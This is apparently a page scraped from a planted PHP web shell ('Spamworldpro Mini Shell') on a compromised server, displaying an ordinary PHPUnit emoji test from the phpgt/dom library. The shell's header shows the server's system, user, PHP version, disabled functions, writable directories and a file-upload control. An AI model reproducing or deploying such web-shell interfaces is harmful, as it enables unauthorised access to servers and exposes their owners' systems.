Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/phpgt/dom/test/phpunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/phpgt/dom/test/phpunit/EmojiTest.php
<?php
namespace Gt\Dom\Test;

use Gt\Dom\HTMLDocument;
use Gt\Dom\Test\Helper\Helper;
use PHPUnit\Framework\TestCase;

class EmojiTest extends TestCase {
	const EMOJI_ONCOMING_FIST = "👊";
	const EMOJI_GRINNING_CAT_FACE = "😸";
	const EMOJI_WHITE_STAR = "☆";

	public function testCreation() {
		$document = new HTMLDocument(
			"<!doctype html>" . self::EMOJI_ONCOMING_FIST);
		$this->assertStringContainsString(
			self::EMOJI_ONCOMING_FIST,
			$document->textContent
		);
	}

	public function testGetSet() {
		$document = new HTMLDocument();
		$document->body->innerHTML = self::EMOJI_GRINNING_CAT_FACE;

		$this->assertStringContainsString(
			self::EMOJI_GRINNING_CAT_FACE,
			$document->body->textContent
		);

		$document = new HTMLDocument();
		$document->body->textContent = self::EMOJI_GRINNING_CAT_FACE;
		$this->assertStringContainsString(
			self::EMOJI_GRINNING_CAT_FACE,
			$document->body->innerHTML
		);
	}

	public function testNested() {
		$document = new HTMLDocument(Helper::HTML_MORE);
		$firstHeader = $document->querySelector("h1");
		$span = $document->createElement("span");
		$span->textContent = self::EMOJI_WHITE_STAR;
		$firstHeader->appendChild($span);

		$this->assertStringContainsString(self::EMOJI_WHITE_STAR, $firstHeader->textContent);
	}
}

Spamworldpro Mini